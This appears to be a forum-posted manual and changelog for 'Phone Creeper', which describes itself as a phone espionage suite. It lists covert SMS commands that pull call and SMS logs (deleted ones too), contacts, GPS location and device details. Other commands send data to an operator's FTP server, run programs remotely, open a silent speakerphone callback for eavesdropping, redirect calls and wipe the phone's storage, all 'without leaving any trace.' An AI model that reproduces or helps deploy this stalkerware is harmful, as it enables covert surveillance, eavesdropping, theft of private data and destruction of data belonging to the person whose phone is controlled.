Phone Creeper is a phone espionage suite.

Currently it has the following features:

To receive received call logs, send the following text to phone with this installed on it:
chetstriker getreccalls
To view sent call logs (even deleted):
chetstriker getsentcalls
To view received SMS logs (even deleted):
chetstriker getrecsms
To view sent SMS logs (even deleted):
chetstriker getsentsms
To change log size (for calls and sms, default:10 min:5 max:25)
chetstriker logsize number_between_5_and_25
To test if phone creeper is running (discreetly):
helo
chetstriker turnonringer
To retrieve the external IP Address of your phone, assuming connected:
chetstriker getip
To receive last 10 call logs(even if deleted):
chetstriker getcalllogs
To receive live SMS notifications on SMS and CALL transactions:
chetstriker liveon
To turn off live notifications:
chetstriker liveoff
To lock PDA:
chetstriker lock
To run a program (exec is the program name):
chetstriker run exec
To run a program (exec is the program name, arg is any arguments added):
chetstriker run exec | arg
To setup FTP account to retreive without SMS (make sure you add space | space in between):
chetstriker setupftp url @ user @ pass
To setup FTP account (use this if not using default port 21):
chetstriker setupftp url @ user @ pass @ port
To setup FTP account (use this if ftp not saving to default base path):
chetstriker setupftp url @ user @ pass @ port @ ftp_path

To receive any log by ftp, you can pre-seed any get command with ftp:
example:
chetstriker getcalllogs would become chetstriker ftpgetcalllogs

To add call blocking: (communication either way with specified number will disconnect)
chetstriker addblk 8005551212
To add call redirecting: (if phone dials a specific nuumber it will cancel and dial an alternate number instead)
chetstriker addredir ifthisnumbercalls sendtothisnumber
To remove call blocks:
chetstriker delblks
To remove call redirects:
chetstriker delredir
To get contacts: (from memory)
chetstriker getcontacts
To get appointments:
chetstriker getappts
To get tasks:
chetstriker gettasks
To set emergency SMS number:
chetstriker setemerg 8005551212
To get phone info: (IMEI, username, email, radio version, etc.)
chetstriker getinfo
To get gps location and google maps link:
chetstriker getpos
Deletes Contacts, Appointments, Task:
chetstriker deleteaccts
Displays command list:
chetstriker help
To delete all SMS messages:
chetstriker delallsms
To delete received SMS messages:
chetstriker delrecsms
To delete sent SMS messages:
chetstriker delsentsms
To wipe your storage card:
chetstriker wipeflash
To send a fart:
chetstriker fart
To send a pop-up message:
chetstriker message “insert msg here, without quotes”
To create a silent callback through remote speakerphone:
chetstriker callback
To bounce sms off phone to someone else:
chetstriker bounce sms “phone number to send to” “message to send”
To send your eaves droping call to someone else:
chetstriker bounce call “phone number to send to” “message to send”
To change password:
chetstriker change “newpassword”
(Obviously change “newpassword” to be what ever password you want and don’t type the quotes.)
After you have changed your password, make sure you use the new commands accordingly. For example, if I changed the password to yellow and wanted to get call history. I would from now on type:
yellow getcalls

all results will be sent via SMS back without leaving any trace on the phone being controlled.
Any cell phone can be used to initiate the commands and all commands will respond with a success message for acknowledgement.

Changes:

* getcalllogs is replaced with getreccalls and getsentcalls (the call logs have now been seperated)
* Hopefully fixed SMS log command getrecsms and getsentsms
* logsize command added to change sms and call logs to hold between 5 and 25 logs, 10 by default.
* Helo command added to test if PhoneCreeper is running. the chetstriker command is NOT used with Helo
* Hopefully callback command has been fixed for people who were previously hearing a ring.
* “Do you want to add this person as a contact” message disappearing bug fixed.

http://forum.xda-developers.com/showthread.php?t=527423